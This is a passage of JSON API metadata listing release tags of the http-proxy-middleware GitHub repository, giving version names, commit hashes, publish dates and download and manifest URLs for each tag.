osyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.9/manifests"},{"name":"v3.0.5","sha":"d3851ed0075298ea2477d4221809f5875781b66f","kind":"commit","published_at":"2025-04-10T12:10:24.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"01934d33b157b2d49f7099a18ceec165e7502040","kind":"commit","published_at":"2025-04-09T19:30:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4/manifests"},{"name":"v2.0.8","sha":"d03d51b54ac8d40db8438a8b216cf1ea92bb7849","kind":"commit","published_at":"2025-04-09T19:30:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.8","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"1e9233909839962bb3c1980848ad499b4757a71d","kind":"commit","published_at":"2024-10-06T17:22:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7/manifests"},{"name":"v3.0.3","sha":"43f38836b5ff00a6e46ae357dfd071361fa93ca1","kind":"commit","published_at":"2024-10-06T17:16:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3/manifests"},{"name":"v2.0.7-beta.1","sha":"0b4274e8cc9e9a2c5a06f35fbf456ccfcebc55a5","kind":"commit","published_at":"2024-10-06T16:58:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1/manifests"},{"name":"v2.0.7-beta.0","sha":"1bd6dd578b1326ed7979c301e3f8eb0f228f5b6f","kind":"commit","published_at":"2024-10-06T12:14:38.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0/manifests"},{"name":"v3.0.2","sha":"6fae40dd77214f1ed961b7b0b56450a22d5c290f","kind":"commit","published_at":"2024-09-03T20:19:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"06ee9054093e8ce7b85a24fc72937f97720c205d","kind":"commit","published_at":"2024-08-31T19:40:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1/manifests"},{"name":"v3.0.1-beta.1","sha":"897611af512ffaf6add1601585952356fde8aec5","kind":"commit","published_at":"2024-07-19T16:51:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1/manifests"},{"name":"v3.0.1-beta.0","sha":"f424cefc67c6f3430e81f285d7578e96486e39fa","kind":"commit","published_at":"2024-04-20T18:05:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0/manifests"},{"name":"v3.0.0","sha":"84bfa46fc7174f46b9f24c1e7a7a1a977f0993f3","kind":"commit","published_at":"2024-04-01T21:32:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0/manifests"},{"name":"v3.0.0-beta.1","sha":"47b7e018f614bcdc06f72c4fdbac3a91ba3b5bb7","kind":"commit","published_at":"2023-03-03T22:26:55.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1/manifests"},{"name":"v3.0.0-beta.0","sha":"4c136abf0a1e433e1293739cb1c22e533b81275a","kind":"commit","published_at":"2022-04-22T17:32:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0/manifests"},{"name":"v2.0.6","sha":"c08cb1e13b8d8c63b517953156444c9b1ce140eb","kind":"commit","published_at":"2022-04-20T19:54:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"f64c99489526c355a96f6e32709da9299175d4e9","kind":"commit","published_at":"2022-04-19T20:25:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"4baae769e46914299240d4c3ddd59019ba1520bd","kind":"commit","published_at":"2022-03-13T16:06:43.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"cb466286e83782e868df966cd687a656df7a91f2","kind":"commit","published_at":"2022-02-07T18:42:54.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"d7623983e18f0daa724a3fcc0b5d4d1812e4c3c1","kind":"commit","published_at":"2022-01-23T17:37:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"c9bec81e82664809c816250f15d30543c4447571","kind":"commit","published_at":"2021-07-01T20:36:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"6429b647fcbc4ac8f60c37a654e0d1c306fd2551","kind":"commit","published_at":"2021-05-07T17:41:01.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0/manifests"},{"name":"v1.3.1","sha":"b78d5d4cbbc681e4c4d1b5257477f40974dc3b84","kind":"commit","published_at":"2021-04-28T18:41:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"34468a161065cd147120390af799a556dc3494e2","kind":"commit","published_at":"2021-04-25T21:33:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"1704875df236bfa8ff156502436906cd84fc88bd","kind":"commit","published_at":"2021-04-24T12:50:09.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"017ac01aa08bee2cb286e9f229b9fb78d406e4c5","kind":"commit","published_at":"2021-04-18T13:19:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0/manifests"},{"name":"v1.1.2","sha":"13bc071c0caada7a4fb2345b91256167e7d7463b","kind":"commit","published_at":"2021-04-14T20:07:14.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"0381fdfbc5976ad8a3632fd92b7406047f1c6748","kind":"commit","published_at":"2021-04-10T08:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"c38efe9215f4089fc2fc8baf0c7b07840789da47","kind":"commit","published_at":"2021-03-28T21:29:41.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0/manifests"},{"name":"v1.0.6","sha":"f212a047ef45898ce6053b622cada4b0617b9ddf","kind":"commit","published_at":"2020-10-11T19:40:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"5384dcfab6e5d565b97b2ff5d6cac3209aada6e8","kind":"commit","published_at":"2020-07-09T16:40:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5/manifests"},{"name":"v0.19.2","sha":"ffcd889b2aa8bbc59ed93f2bd34a61923748942f","kind":"commit","published_at":"2020-05-19T18:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2/manifests"},{"name":"v1.0.4","sha":"68e3e300574d275ea99f264dedcfd72d7dccc626","kind":"commit","published_at":"2020-05-18T16:27:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"e767654221fbc866adf16e3c0c96c29ca6800220","kind":"commit","published_at":"2020-03-16T21:20:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"573a8c45fbdf6b41ea99a8d8216d43f2455bb604","kind":"commit","published_at":"2020-03-14T13:22:10.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"23522c7a88098e2e18d4a836e41c3dde9d55c4a6","kind":"commit","published_at":"2020-02-29T12:37:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"aefdbe8688f3e1491a9e94c08e17fb6b3a0d6a8f","kind":"commit","published_at":"2020-02-18T22:28:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0/manifests"},{"name":"v0.21.0","sha":"b8f33210770878685202ceb7494e53399ed838a0","kind":"commit","published_at":"2020-02-16T18:31:18.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.21.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0/manifests"},{"name":"v","sha":"b8f33210770878685202ceb7494e53399ed838a0","kind":"commit","published_at":"2020-02-16T18:31:18.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v/manifests"},{"name":"v0.20.0","sha":"3b9730826187c708fbd16cb0baa588f6aad73a00","kind":"commit","published_at":"2019-09-03T19:54:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0/manifests"},{"name":"v0.20.0-beta.0","sha":"021b03f0d805446d21e9e9b0700c75b8eb8f39f6","kind":"tag","published_at":"2019-06-02T15:17:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0/manifests"},{"name":"v0.19.1","sha":"6422977cebde7ba6b2a506f47db97aa58ccbd44c","kind":"commit","published_at":"2018-11-25T20:18:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"bb59c666dbb65cc0ef422bbf5332b67cbd6fb0e3","kind":"commit","published_at":"2018-08-29T21:09:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.0","ta